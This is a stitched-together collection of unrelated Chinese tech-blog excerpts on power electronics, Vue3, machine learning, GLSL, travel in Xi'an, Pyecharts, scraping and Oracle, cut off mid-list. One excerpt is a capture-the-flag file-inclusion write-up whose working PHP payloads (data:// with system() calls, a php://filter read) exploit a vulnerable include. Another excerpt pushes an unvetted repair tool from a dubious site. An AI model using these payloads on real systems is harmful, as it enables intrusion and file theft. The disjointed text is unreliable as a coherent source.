LLC部分使用安森美的NCP13992产品,SOIC-16封装。作为电流型控制的LLC控制器,拥有快速的反馈环反应速度,具有优秀的动态响应表现。NCP13992内置高压启动脚HV脚,可以耐受最大600V的启动电压。PFCFB脚内部内置1V电压基准,检测PFC部分电压,用于设置LLC电路的启动电压点。SKIP脚内置50uA恒流源,外置对地电阻产生电压与FB电压对比,用于设置NCP13992进入SKIP模式的负载点。LLCCS脚内置4.35V(版本不同会有差异)基准,通过外部电容分压(C15,C25,C26以及R30)检测谐振电容上电压,用于实现原边谐振腔电流大小检测以及OCP保护。PFCMODE脚为电压输出端,当VCC电压高于Vcc_on之后,PFCMODE会有一个稳定的电压输出(正常工作状态时为12V左右)。该电压可以用于给PFC部分控制器VCC脚供电。
3. 优秀的待机功耗和效率表现:
待机功耗vs输入电压
效率曲线
4. 优秀的PF值表现:
不同负载下的PF值
不同负载下的THD
方案应用总结
作为在市场经过验证的PFC和LLC控制器,NCL2801和NCP13992以其优秀的表现赢得了非常多电源工程师的认可和喜欢。在驱动GaN器件的高频化应用场景中,NCL2801和NCP13992仍然具有非常优秀的表现:稳定,高效的基础上,还具有完善的保护,优秀的THD,PF值和待机功耗等表现。因此,作为适配于GaN开关器件的高频小体积照明方案,NCL2801和NCP13992也一定会受到大家的欢迎。买电子元器件现货上唯样商城
Vishay | 功率逆变器应用采用宽带隙半导体器件时,栅极电阻选型注意事项 本文为大家介绍氮化镓 (GaN) 和碳化硅 (SiC) 等宽带隙半导体器件用作电子开关的优势,以及如何权衡利弊。
本文为大家介绍氮化镓 (GaN) 和碳化硅 (SiC) 等宽带隙半导体器件用作电子开关的优势,以及如何权衡利弊。主要权衡因素之一是开关损耗,开关损耗会被高 di/dt 和 dv/dt 放大,造成电路噪声。为了减少电路噪声,需要认真考虑栅极电阻的选择,从而不必延长死区时间而造成功率损耗。本文介绍选择栅极电阻时的考虑因素,如脉冲功率、脉冲时间和温度、稳定性、寄生电感等。同时,将和大家探讨不同类型的栅极电阻及其在该应用中的优缺点。
宽带隙半导体器件的优势
设计出色功效的电子应用时,需要考虑使用新型高性能氮化镓 (GaN) 和碳化硅 (SiC) 技术的器件。与电子开关使用的传统硅解决方案相比,这些新型宽带隙技术具有祼片外形尺寸小、导热和热管理性能优异、开关损耗低等显著优势,非常适合工业、医疗、通信和车载应用电源、驱动器和逆变器等空间受限的应用。 不过,设计需要考虑一些利弊关系,特别是开关损耗。例如,di/dt 和 dv/dt 提高,开关速度加快,电路频率振荡放大,使噪声成为重要考虑因素。 电路设计中的考量因素 典型电路功能中,高边 (HS) 和低边 (LS) MOSFET 用作开关器件驱动电感负载。在 HS 开关导通,LS 开关关断时,电流从电源 Vcc 流向电感器 Lo。反之,在 HS 开关关断,LS 开关导通时,电感器电流继续从接地端同步流向 Lo。导通/关断状态由栅极电压定义,栅极电压的变化影响栅极回路的充放电。开关时间和相关损耗取决于栅极电容通过栅极电流充放电的速度。栅极电流受驱动电压栅极电阻和驱动电路整体寄生效应的影响(图1a)。
图1a:栅极驱动电路元件
为了避免同时导通/关断,需要认真选择栅极电阻解决方案,如高功率厚膜片式电阻、薄膜 MELF 或高功率背接触电阻。这类解决方案不需要延长有效转化为功率损耗的“死区时间”(HS 和 LS 开关导通之间的时间间隔)(图1b)。
图1b:同步降压电路,带“死区时间”的驱动信号
选择栅极电阻技术的基本考虑因素主要包括脉冲功率、脉冲时间和温度以及稳定性。 使用两个栅极电阻时,通常建议导通栅极电阻值至少是关断栅极电阻值的两倍(图1c)。 重要的是注意关断栅极电阻值,避免漏极(或 IGBT 情况下,集电极)电压上升发生寄生导通。
图1c:基础栅极电路(独立导通和关断)
同时,还要考虑栅极电阻的阻值,阻值过高或过低都会发生损耗或振荡。栅极电阻要求能够承受短时间高峰负载,平均功耗随频率和占空比而增加。在功能上,电阻能够对器件内部寄生电容放电并进行 Miller 充电。减小电压过冲可以降低器件和驱动器的应力,减小寄生电感可以避免开关过程产生 VGS 振荡。 为了尽量减少电路中的噪声,缩短布线长度(减小寄生电感)很重要。因此,通常首选打线或表面贴装栅极电阻。采用 IGBR 打线电阻的情况下,背接触具有优异导热性,并最大限度减小器件与 PCB 之间的热梯度。在连接、外形尺寸和烧结能力方面,IGBR 电阻在打线连接,小尺寸以及烧结能力方面的综合性能可以让其更灵活地内置于高功率半导体模块或封装。这样电阻可以在布局上非常接近开关器件,从而减少部分寄生元件,有助于降低电路噪声。
vue3 创建方式 创建vue3项目的方式,有多种:
使用create-vue,Vue 官方的项目脚手架工具
使用Create Preset,可参考Create Preset 起步指南
使用vueCLI,可参考如何启动一个vue2项目?,不再赘述
使用Vite,可参考搭建第一个 Vite 项目,不再赘述
创建示例 create-vue 确保你安装了最新版本的 Node.js,并且你的当前工作目录正是打算创建项目的目录。然后可以通过如下指令创建项目,详情可参考vue3快速上手。
npm create vue@latest 推荐使用Visual Studio Code + Volar更多工具细节,包括与后端框架的整合,请参考工具链指南。要了解构建工具 Vite 更多背后的细节,请查看 Vite 文档。如果你选择使用 TypeScript,请阅读 TypeScript 使用指南。 Create Preset create-preset 是 Awesome Starter 的 CLI 脚手架,提供快速创建预设项目的能力,可以创建一些有趣实用的项目启动模板,也可以用来管理的常用项目配置。
简单体验 可以通过包管理器的命令来简单体验,通过创建配置的方式直接创建你需要的模板。
npm create preset 然后按照提示进行操作!这种用法可以让你每次都能使用最新版本的 Preset CLI 。
完整用法 推荐全局安装它,用起来更方便,请先全局安装:
npm install -g create-preset 查看全局安装的版本号
preset -v 创建项目
# 将进入 “选择技术栈 -> 选择模板” ,类似于:vue create ... preset init 延伸阅读 vue3 快速上手Create Preset 起步指南如何启动一个vue2项目?搭建第一个 Vite 项目
vue2 Vue2官网介绍,可以使用命令行工具 (CLI),Vue 提供了一个官方的 CLI,为单页面应用 (SPA) 快速搭建繁杂的脚手架。它为现代前端工作流提供了开箱即用的构建设置。只需要几分钟的时间就可以运行起来并带有热重载、保存时 lint 校验,以及生产环境可用的构建版本。更多详情可查阅Vue CLI 的文档。
准备工作 现在官方推荐使用 create-vue 来创建基于 Vite 的新项目。另外请参考 Vue 3 工具链指南 以了解最新的工具推荐。
Node 版本要求:Vue CLI 4.x 需要 Node.js v8.9 或更高版本 (推荐 v10 以上)。你可以使用 nvm 在同一台电脑中管理多个 Node 版本。可参考Node包管理使用教程了解。
检查是否安装Vue CLI # 出现版本号即表示已经安装过了 vue --verson # OR vue -V 开始安装Vue CLI npm install -g @vue/cli # OR yarn global add @vue/cli 创建项目 vue create hello-world 你会被提示选取一个 preset(预设)。你可以选默认的包含了基本的 Babel + ESLint 设置的 preset,也可以选Manually select features来自定义需要的特性。
前言 Vue3.0 在去年 9 月正式发布了,看大家都有在热情的拥抱 Vue3.0。今年初新项目也开始使用 Vue3.0 来开发,这篇文章就是在使用后的一个总结, 包含 Vue3 新特性的使用以及一些使用经验分享。
为什么要升级 Vue3 使用 Vue2.x 的小伙伴都熟悉,Vue2.x 中所有数据都是定义在data中,方法定义在methods中的,并且使用this来调用对应的数据和方法。那 Vue3.x 中就可以不这么玩了, 具体怎么玩我们后续再说, 先说一下 Vue2.x 版本这么写有什么缺陷,所有才会进行升级变更的。
回顾 Vue2.x 实现加减 <template> <div class="homePage"> <p>count: {{ count }}</p> <p>倍数: {{ multiple }}</p> <div> <button style="margin-right: 10px" @click="increase">加1</button> <button @click="decrease">减一</button> </div> </div> </template> <script> export default { data() { return { count: 0 }; }, computed: { multiple() { return 2 * this.count; }, }, methods: { increase() { this.
public static void main(String[] args) { Map<String,Object> map =new HashMap<>(); map.put("SJL",6); String formula="(SJL>100?100: SJL>50?80: SJL>0?30:0)*0.3"; ScriptEngine engine; ScriptEngineManager manager = new ScriptEngineManager(); engine = manager.getEngineByName("JavaScript"); try { for (Map.Entry<String, Object> entry : map.entrySet()) { String k = entry.getKey(); Object v = entry.getValue(); engine.put(k, v); } DecimalFormat df = new DecimalFormat("0.00"); System.out.println(df.format(engine.eval(formula))); } catch (ScriptException e) { e.printStackTrace(); if (e.getMessage().indexOf("is not defined")!=-1) { Pattern p= Pattern.compile("\"(.*?)\""); Matcher m = p.matcher(e.getMessage()); StringBuffer res =new StringBuffer(); while (m.
小程序应用场景生态的发展,受益于开源技术的发展,以及响应快速开发的实际业务需求,一些跨端框架如:Electron、wxPython、FinClip、Tauri、Flutter等发展也非常迅速,小程序生态+跨端技术框架,不仅能满足自有超级App的灵活技术构建,快速引入第三方生态,还能通过小程序容器技术连接一切可以连接的应用。
2020年至2022年被称为“信创黄金三年”,信创建设围绕党政、金融、教育、电信、医疗等关键领域,对其软硬件核心技术、技术标准等展开自主研发从而实现原创替代。金融行业发挥了惯常的科技创新前沿的力量,自上而下及自下而上的努力,快速的在信创领域积累了许多宝贵的实践经验。有相关研究机构预计,在未来数年的金融信创发展关键期,全国约5000家金融单位将加入信创建设大军,预计至2025年信创基础软硬件在金融机构IT外采中占比有望达到50-65%。
银行信创化的基础建设中,数据库、中间件是最重要的产业链环节。以银行业为代表的从集中式数据库向分布式数据库迁移转型,不仅仅是金融信创的题中应有之义,也是银行业“零售化”转型的必然要求。有金融机构人士介绍,分布式数据库升级后,成本大幅缩减了75%,分析型大数据加工处理能力提升了300%,业务高峰期的应对能力大幅提升。
生态建设的命题依然重要 无生态不平台。
银行App的建设已经到了需要深耕流量的阶段,单纯靠银行提供的金融业务,并不能留住日益多元化选择的用户,生态是深耕用户,吸引更多忠诚用户的关键。为什么这么说,看看微信和国产操作系统生态建设就显而易见:
微信小程序自2017年推出以来,其生态系统得到了迅速的发展和壮大。作为中国最大的社交平台之一,微信拥有庞大的用户基础。微信小程序作为微信生态系统的一部分,自然而然地吸引了大量用户。据对公开资料进行统计,2021年全网小程序数量已超700万,其中微信小程序开发者突破300万,小程序DAU已超4.5亿;日均使用次数同比增长32%,活跃小程序则增长41%,小程序生态已塑造出新的增长空间。
同样的,统信(UOS)操作系统这几天宣布,统信UOS软硬件适配数快速突破300万,创下国产操作系统历史新纪录。
小程序化银行App,实现生态快速引进 相比于传统的原生应用开发技术,小程序技术具有轻量、快速开发、跨平台、无需安装、更便于用户使用等优势。小程序不需要用户下载安装即可使用,同时小程序的开发成本相对更低,开发速度更快,也更易于维护更新。小程序技术还支持跨平台运行,可以同时在多个移动设备上运行,极大地扩展了应用的覆盖范围,为企业和开发者带来更大的商业价值。市面上一些比较知名的小程序容器技术产品包括:微信、支付宝、百度、抖音小程序等,他们都是以完善大社交平台自有小程序生态的技术底座,能提供第三方进行私有化部署的有:FinClip、mPaaS等产品。据了解FinClip自行研发的小程序容器技术,能够让企业的App能具备快速运行小程序的能力,他们家的SDK还能嵌入除App以外的职能设备终端中(如 Linux、Windows、MacOS、麒麟等操作系统上运行)。
开放银行趋势之一:超级App 超级App是一种集成了多个功能和服务的移动应用程序,它在一个平台上提供了广泛的服务和体验。超级App通常具有大量的用户群体和高度活跃的用户社区,通过提供便利、多样化的功能,吸引用户在一个应用中完成多个任务和满足多个需求。
与传统的单一功能应用相比,超级App的特点在于它的多样性和综合性。超级App不仅提供核心功能,如社交、支付或出行,还可能整合其他服务,如电商、餐饮外卖、金融等。这种综合性使得用户可以在一个应用中完成多种操作,而不需要切换不同的应用程序。
超级App对全球经济的业务价值是巨大的。
首先,它促进了市场创新和竞争促进。超级App通过整合多个行业和服务,提供了更全面、便捷和一体化的用户体验。它们通过引入创新的商业模式和技术解决方案,推动市场的创新和竞争。其次,它提供了就业和创业机会。超级App的发展为经济创造了大量的就业和创业机会。它们不仅自身需要大量的技术开发和运营人才,还促进了相关行业的发展,如出行、餐饮、物流等。与此同时,它还在一定程度上优化了供应链和物流。超级App在各个行业中通过数字化和数据驱动的方式优化供应链和物流管理。它们提供了更高效的配送和交付服务,降低了运营成本和时间,提高了效率和客户满意度。
1、定义 T=1;% 周期0-1 N=20;% 最大谐波 k=-N:N;% -20:20——-20表示a_(20)e^(j*20*w0*t) N1=length(k);%N1=41 % ceil(N1/2)=21%即21是N1的中位数 t=linspace(0,T,100); Nt=length(t); tt=linspace(-4*T,4*T,1024); Ntt=length(tt); 2、原函数 w0=2*pi/T; % 0-T xt=(t>=T/4).* 1.0; fig10=figure(10); fig10.Name='原函数'; plot(t,xt); axis([t(1) t(Nt) min(xt)-0.05 max(xt)+0.05 ]); 3、原函数的周期延拓 N2=length(tt); xx=zeros(1,N2);%size(a)=1*41,用于记录傅里叶级数的系数 for n=1:N2 for numT=-4:3 if (T/4+numT*T)<tt(n) && tt(n)<(T+numT*T) xx(n)=1; break end end end fig20=figure(20); fig20.Name='原函数的周期延拓'; plot(tt,xx); axis([tt(1) tt(Ntt) min(xx)-0.05 max(xx)+0.05 ]); grid on 4、使用integral进行傅里叶变换 a=zeros(1,N1);%size(a)=1*41,用于记录傅里叶级数的系数 for n=1:N1 % a(n)=integral(@(x) signal0(x,k(n),T),0,T); %1 a(n)=integral(@(x) signal0(x,k(n),T),0,T,'RelTol',0,'AbsTol',1e-12); % %解决《警告: 最小步长已快达到 x = 0.
文章目录 week 11 Self-attention摘要Abstract一、李宏毅机器学习self-attention1. vector set as input2. what is the output?3. Eg.sequence labeling3.1 framework of self-attention3.2 Multi-head Self-attention3.3 Positional Encoding 4. More application4.1 NLP4.2 self-attention for speech4.3 self-attention for image4.4 Self-attention for Graph 5. self-attention v.s. CNN6. self-attention v.s. RNN 二、基于Pytorch的LSTM实现1. 数据集和问题的定义2. 数据预处理3. 创建LSTM模型4. 训练模型4. 预测 三、文献阅读1. 题目2. abstract3. 网络架构3.1 LSTM3.2 feed-forward attention mechanism 4. 文献解读4.1 Introduction4.2 创新点4.3 实验过程Data acquisitionData preprocessingAlgorithm parameter settingsModels evaluationCorrelation analysis of impact factorsPerformances of different models in indoor air temperature predictionPerformances of different models in indoor air humidity predictionAnalysis of model error 4.
文章目录 1.KNN算法原理介绍2.KNN分类决策原则3.KNN度量距离介绍3.1.闵可夫斯基距离3.2.曼哈顿距离3.3.欧式距离 4.KNN分类算法实现5.KNN分类算法效果6.参考文章与致谢 1.KNN算法原理介绍 KNN(K-Nearest Neighbor)工作原理: 在一个存在标签的数据集中,当我们输入一个新的没有标签的样本时候,KNN算法的任务就是将该样本分类,即给定其对应的样本标签。 输入没有标签的数据后,将新数据中的每个特征与样本集中数据对应的特征进行比较,提取出样本集中特征最相似数据(最近邻)的分类标签。 一般来说我们选取的是新样本的最近的k个样本进行"投票"决策,这就是KNN算法中k的意思, 通常k是不大于20的整数。最后选择k个最相似数据中出现次数最多的分类作为新数据的分类。 2.KNN分类决策原则 KNN算法一般是用多数表决方法,即由输入实例的K个邻近的多数类决定输入实例的类。这种思想也是经验风险最小化的结果。
训练样本为 ( x i , y i ) (x_{i} ,y_{i}) (xi,yi)。当输入实例为 x,标记为c, N k ( x ) N_{_k}(x) Nk(x)是输入实例x的k近邻训练样本集。我们定义训练误差率是K近邻训练样本标记与输入标记不一致的比例,误差率表示为:
1 k ∑ x i ∈ N k ( x ) I ( y i ≠ c j ) = 1 − 1 k ∑ x i ∈ N k ( x ) I ( y i = c j ) \frac1k\sum_{x_i\in N_{k}(x)}I(y_i\neq c_j)=1-\frac1k\sum_{x_i\in N_{k}(x)}I(y_i=c_j)\quad k1xi∈Nk(x)∑I(yi=cj)=1−k1xi∈Nk(x)∑I(yi=cj)
Unity AI Sentis基础教程 Unity AI Sentis基础教程Unity AI 内测资格申请Unity 项目Package Manager开始尝试模型下载识别图片完整代码代码搭载运行 射线绘画 URP(扩展)射线绘画脚本脚本搭载效果 Sentis 是 AI 模型的本地推理引擎,它利用最终用户设备上的计算,而不是云服务器。它可以在可以部署 Unity 运行时的任何位置运行。它取代了 Barracuda 并解决了我们在 Barracuda 处于早期原型阶段时收到的许多反馈。最重要的是,Sentis 可以以游戏速度运行许多神经网络。Sentis 目前处于开放测试阶段,公开发布时可用于商业用途。届时Sentis 将对所有 Unity 用户免费开放,并可用于无限制的本地推理。 Unity AI Sentis基础教程 Sentis 允许您在ONNX 格式 进入 Unity 编辑器,然后在所有 Unity 的用户设备上实时优化和运行推理支持的平台。
可应用示例:
1.图像放大:放大低分辨率图像、模型、纹理等
2.风格迁移:将场景的外观或图像效果转换为新风格
3.不可玩角色 (NPC):自动对话
4.语音识别 (NLP):解释实时语音
5.身体/物体检测:使用相机
6.深度估计:使用相机(检测物体)
7.图像、视频和 3D 模型分类:检测屏幕上的对象(检测深度)
8.手写分类:检测手写字母、符号或数字
9.创造独一无二的玩家体验:生成无限独特的游戏场景
10.动画:将自动姿势绑定应用于刚体
11.模拟助手:用神经网络近似一个复杂的函数来驱动游戏逻辑
12.时间序列:异常检测、预测/预测
版本需求:Unity 2021.3 LTS(或更高版本)
Unity AI 内测资格申请 Unity AI 内测资格申请链接: Unity AI Unity 项目 项目创建 Package Manager 1.
你是在什么情况下了解到0x80004005这个错误代码的,很多用户在使用电脑时都遇到过这样的情况,电脑一旦弹出这样的问题,没有解决就会一直弹出错误窗口,那么今天就教大家电脑出现错误代码0x80004005应该如何有效解决问题。
一.0x80004005是什么错误 首先,我们需要了解一下这个错误代码的含义。其实在Win10系统中如果提示错误代码0x80004005,可能是电脑中没有正确注册某些动态链接库文件,或者是计算机与internet之间存在不允许的https连接的防火墙。0x80004005通常表示一个未知的错误,它可能是由于系统文件损坏、软件冲突、病毒感染等原因引起的。既然是未知的错误,那我们就需要一步一步地排查和解决它。
二.解决0x80004005错误的办法 方法一:重启电脑 我们可以尝试重新启动电脑。有时候,一些临时的问题可以通过简单的重启来解决。所以,先试试这个方法吧。如果问题依然存在,那我们就需要继续往下看。
方法二:注册运行 使用快捷键“win+r”在弹出的运行栏中输入“regsvr32 Softpub.dll”在按下回车键或确定。
等待弹出“DLLRegisterServer在Softpub.dll已成功”提示窗口,按下回车键或确定继续下面的步骤。
再次在运行窗口中输入“regsvr32 Wintrust.dll”并按下回车键或确定。
等待弹出“DLLRegisterServer在Wintrust.dll已成功”提示窗口,按下回车键或确定继续。
再次在运行窗口中输入“regsvr32 Initpki.dll”命令,点击“确定”。
最后看到“DLLRegisterServer在Initpki.dll已成功”提示窗口,点击“确定”就完成了。
方法三:使用电脑修复精灵 这个方法可以修复因为任何原因导致的问题,可以快速且有效的解决问题,能够一键修复问题所在。
先在浏览器顶部输入:电脑修复精灵.site,按下回车键进行前往。进入后,找到错误代码修复工具。点击立即下载。
下载完成后将工具进行安装,安装完成后打开工具,点击一键修复。
一键修复会将电脑进行扫描,查看电脑中有问题的文件进行扫描,扫描完成后点击一键修复就可以将电脑中弹出的0x80004005错误代码问题进行解决。
方法四:运行Windows更新疑难解答 Windows更新疑难解答是Windows系统内置的一项系统更新排查工具,它能够帮助用户排查到系统更新过程中遇到的多数问题并修复。由于Windows更新出现问题也可能导致0x80004005错误,因此可运行Windows更新疑难解答尝试解决问题。
运行计算机,同时按下键盘里的Windows+I键以打开设置界面。之后点击进入到更新和安全选项中。
在左侧功能栏里找到疑难解答,之后在右侧选中Windows更新选项,并点击运行疑难解答按钮。等待片刻,待疑难解答完成之后查看问题是否已解决。
若Windows更新疑难解答未能解决问题,请打开此电脑,跳转到C:\Windows\SoftwareDistribution\Download路径,将该文件夹中的文件删除,之后再次尝试Windows更新操作。
以上就是解决0x80004005错误代码的几种办法,希望能够帮你解决错误代码的问题,如果上述办法还不能帮你解决问题,建议找专业人员解决问题。
gl_NormalMatrix 存在于很多顶点着色器中,在这里,将会对这个矩阵和他的作用做出解释.本节的灵感来自Eric Lengyel的优秀著作"Mathematics for 3D Game Programming and Computer Graphics".
许多计算都是在眼睛空间完成的,这与光照通常在这个空间中执行有关,否则依赖于眼睛位置的效果,比如镜面光,将更难实现.
因此我们需要一个方式将法线转换到眼部空间.对于顶点到眼睛空间的转换可以使用下面的代码:
vertexEyeSpace = gl_ModelViewMatrix * gl_Vertex; 那么为什么我们不可以直接对于法线向量做相同的计算呢?首先,法线是一个由3个浮点数组成的向量,而模型-视口矩阵是4X4的,其次,由于法线是一个向量,所以我们只想要变换他的方向.模型-视口矩阵中包含旋转功能的部分是左上角3X3的子矩阵,所以为什么不将法线与子矩阵相乘呢?
这很容易用下面的代码实现:
normalEyeSpace = vec3(gl_ModelViewMatrix * vec4(gl_Normal,0.0)); 那么,gl_NormalMatrix只是简化代码编写或优化代码的一种快捷方式吗?并不是,上面的代码仅在一些情况下有效.
让我们看一下一种可能的情况:
在上面的图中有一个三角形,并标有法线和切线的向量,下面的图片展示当模型-视口矩阵发生不均匀变换时的情况.
注意:如果缩放是均匀的,那么法线的方向将会被保留,长度将会被改变但可以通过归一化很容易的修复.
在上面的图中,模型-视口矩阵被应用到所有的顶点以及法线上,但结果显然是错误的:被变换后的法线不再垂直于表面.
我们知道,一个向量可以表示为两个点之间的差异,考虑切向量,它可以计算为三角形边的两个顶点之间的差异.如果P1和P2是定义边的顶点,我们知道:
T = P 2 − P 1 T = P_2-P_1 T=P2−P1
考虑到一个向量可以被写成有四个分量的数组,其中最后一个分量是零,我们可以在等式的两侧乘以模型视口矩阵
T ∗ M o d e l v i e w = ( P 2 − P 1 ) ∗ M o d e l v i e w T * Modelview = (P_2-P_1)*Modelview T∗Modelview=(P2−P1)∗Modelview
1.西安站 1.1 景点 1)day01 兵马俑华清宫 早上,交通有直通车,导航搜秦风发车场。进了景区不要和陌生人交流,景区内有官方讲解。
中午,看完兵马俑后出来有商业一条街,可以吃饭。
下午,吃完饭后坐613路公交车直达华清宫,华清宫建议找个讲解,不然真的看几个大坑。晚上会有演出。结束后坐9号线去纺织城转一下就可以回城内了。
后海观景平台距离纺织城20分钟,傍晚拍照很美
吃完晚饭后,直奔大唐不夜城,感受盛世长安,音乐喷泉值得一看。
不夜城只看景,吃饭到大雁塔旁边的大悦城,吃完在顶楼看大雁塔。大雁塔在外面看看就好,不要进去。大雁塔前有玄奘,猴哥在商场吹空调也可以看看。
2)day02 大唐芙蓉园 上午 手机预约免费进芙蓉园,风景美,拍照更美。
【切记】:大唐芙蓉园要夜晚天黑了去,夜景拍照更好
下午进旁边的长安十二时辰,里面有古风演出。这里除了门票,不建议花钱在其他地方。
晚上去附近的钟楼,可以先在下面合影,然后到开元商城5楼俯瞰。
接着去西大街的鼓楼,后面是回民街,带好随身物品
接着去附近一站路的永宁门,在看看就好,可以去skp 四楼看到南门。后面是榴园有夜市。
3)day03 小南门 早上到小南门看早市,吃完早饭到老菜场拍照打卡
接着去书院门,碑林博物馆(钟楼上的景云钟)、
下午去陕西省历史博物馆,需要提前预约门票(非常难约,需要提前几天预约,每天有固定时间放票,提前一两分钟点进去就能抢到票,准点进去肯定抢不到票),馆内有很多国宝。
傍晚上城墙,可以导航到中兴门,旁边有永兴坊。城墙手机买票,记得要门票纪念。
从中山门走上去是长乐门,可以看日落夕阳。不推荐去南门上城墙,因为那里只有晚上灯亮起来才是最美的。等到太阳下来,买票坐到永宁门拍照逛街。
4)day04 大明宫国家遗址公园 正宗的皇家遗址,强烈推荐来。记得先看丹凤门
看完遗址后,可以看看大明宫的微缩景观
5)day05 选择性打卡景点 文创街区,西安电影制片厂,这里拍照好看
钟楼附近易俗社,比较复古
陕西考古博物馆
白鹿仓,白鹿原影视城
总结:3天只玩重点,7天全玩遍。在景区有人拉你看演出要远离,中午下午巨热,不要坐路边喊人车,公交地铁可以到任何地方,钟楼晚上漂亮,永兴坊比回民街好吃。
1.2 美食 1)黄桂柿子饼 2)马洪小炒泡馍 3)葫芦鸡 4)毛笔酥 5)油泼面 6)炝麻食 7)子长煎饼 8)石头馍 9)玫瑰镜糕 10)奶油皮蛋糟 11)水盆羊肉 总结:永兴坊一定要去吃。
1.3 住宿 二环内距离地铁站近,交通方便。不要住钟楼附近的民宿
2.成都 2.1 景点 1)day01 风土人情体验(人民公园、太古里) 中午去国金中心,标志性大熊猫建筑合影
接着去人民公园,在公园里的鹤鸣茶馆感受成都生活,带点小吃、喝着茶、吹着风,休息到太阳下山。
步行十分钟到宽窄巷子,不要在这里消费,不过饮品店很好看,适合拍照。
接着去奎星楼街吃晚饭,可以试试这家串串
晚上吃完饭去太古里,感受一下成都的时尚
接着去步行到 九眼桥
有空可以去天仙桥的爱心斑马线
文件包含(WEB78-117) WEB 78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 法1:
关键部分为include 这里的$file 可由get传参控制,由于没有过滤所以这里方法较多。
使用data协议可以很直观有条理的获得flag
?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php ?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。 法2:
先尝试 ?file=…/…/flag.php 结果提示文件不能包含。
再尝试 ?file=flag.php 结果 就什么也不显示(至少包含文件 已经成功),说明,有flag.php
这时,可使用?file=php://filter/read=convert.base64-encode/resource=flag.php
这时,显示出来一段base64代码 进行解码后。发现其中一段:
$flag="ctfshow{6601f516-c571-468b-8c49-611a1f194f84}"; 原来flag.php只是赋了一个值 ,怪不得包含以后,页面什么也不显示。
至此,已获得flag
WEB 79 <?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); } 方法1:
本关对传入的参数进行过滤,过滤掉了php但是不影响使用上一关的方法。经历过命令执行题目的折磨轻松可以绕过。
?file=data://text/plain,<?=system('ls');?> 可以获取当前目录文件发现有一个flag.php
?file=data://text/plain,<?=system('tac flag*');?> 即可读取flag.php的中的内容。
方法2:
增加了 str_replace 函数 将 “php” 替换为 “?
【已解决】Pyecharts折线图,只有坐标轴没有折线数据 1、问题复现2、原因3、问题解决 1、问题复现 在做简单的数据通过 Pyecharts 生成折现图的时候,一直只有坐标轴没有折线数据,但是代码一直看不出问题,代码如下:
import pandas as pd from pyecharts import options as opts from pyecharts.charts import Line data = pd.DataFrame( data=[[2011, 33.6], [2012, 33.0], [2013, 31.2], [2014, 31.0], [2015, 30.6], [2016, 30.1], [2017, 29.3], [2018, 28.4], [2019, 28.2], [2020, 30.2]], columns=['年份', '恩格尔系数']) line = ( Line() .add_xaxis(data['年份'].tolist()) .add_yaxis("恩格尔系数", data['恩格尔系数'].tolist(), label_opts=opts.LabelOpts(is_show=True)) .set_global_opts( title_opts=opts.TitleOpts(title="2011年-2020年居民恩格尔系数(Pyecharts)"), toolbox_opts=opts.ToolboxOpts(), xaxis_opts=opts.AxisOpts(name="年份"), yaxis_opts=opts.AxisOpts(name="恩格尔系数"), ) ) line.render("恩格尔系数折线图(Pyecharts).html") 2、原因 在 Pyecharts 库中,x 轴数据类型对于确定数据的显示方式非常重要。
Pyecharts 将 ‘年份’ 值视为数值。当 x 轴值是数值时,Pyecharts 会尝试创建一个连续轴,这可能不会正确显示离散的年度数据。
用python的爬虫爬取数据真的很简单,只要掌握这六步就好,也不复杂。以前还以为爬虫很难,结果一上手,从初学到把东西爬下来,一个小时都不到就解决了。
python爬出六部曲 第一步:安装requests库和BeautifulSoup库: 在程序中两个库的书写是这样的:
import requests from bs4 import BeautifulSoup 由于我使用的是pycharm进行的python编程。所以我就讲讲在pycharm上安装这两个库的方法。在主页面文件选项下,找到设置。进一步找到项目解释器。之后在所选框中,点击软件包上的+号就可以进行查询插件安装了。有过编译器插件安装的hxd估计会比较好入手。具体情况就如下图所示。
第二步:获取爬虫所需的header和cookie: 我写了一个爬取微博热搜的爬虫程序,这里就直接以它为例吧。获取header和cookie是一个爬虫程序必须的,它直接决定了爬虫程序能不能准确的找到网页位置进行爬取。
首先进入微博热搜的页面,按下F12,就会出现网页的js语言设计部分。如下图所示。找到网页上的Network部分。然后按下ctrl+R刷新页面。如果,进行就有文件信息,就不用刷新了,当然刷新了也没啥问题。然后,我们浏览Name这部分,找到我们想要爬取的文件,鼠标右键,选择copy,复制下网页的URL。就如下图所示。
复制好URL后,我们就进入一个网页Convert curl commands to code。这个网页可以根据你复制的URL,自动生成header和cookie,如下图。生成的header和cookie,直接复制走就行,粘贴到程序中。
#爬虫头数据 cookies = { 'SINAGLOBAL': '6797875236621.702.1603159218040', 'SUB': '_2AkMXbqMSf8NxqwJRmfkTzmnhboh1ygvEieKhMlLJJRMxHRl-yT9jqmg8tRB6PO6N_Rc_2FhPeZF2iThYO9DfkLUGpv4V', 'SUBP': '0033WrSXqPxfM72-Ws9jqgMF55529P9D9Wh-nU-QNDs1Fu27p6nmwwiJ', '_s_tentry': 'www.baidu.com', 'UOR': 'www.hfut.edu.cn,widget.weibo.com,www.baidu.com', 'Apache': '7782025452543.054.1635925669528', 'ULV': '1635925669554:15:1:1:7782025452543.054.1635925669528:1627316870256', } headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 SLBrowser/7.0.0.6241 SLBChan/25', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Accept-Language': 'zh-CN,zh;q=0.
目录
1 Oracle系统体系结构介绍
1.1 启动关闭Oracle实例
2 SQL语句
2.1数据控制语言 DCL
2.2数据定义语言 DDL
2.2.1 用户类的创建、删除和修改:
2.2.2 表的创建、删除、修改、清空
2.2.3 alter的用法(关于表结构)
2.3数据操作语言 DML
2.4数据查询语言 DQL
3 DQL数据查询语言
3.1 去重distinct查询
3.2 where条件查询
3.3 group by分组查询
3.4 having过滤查询
3.5 order by排序查询
3.6 分页查询
3.7 多表查询
3.7.1 内连接
3.7.2 外连接
3.7.2.1 左连接
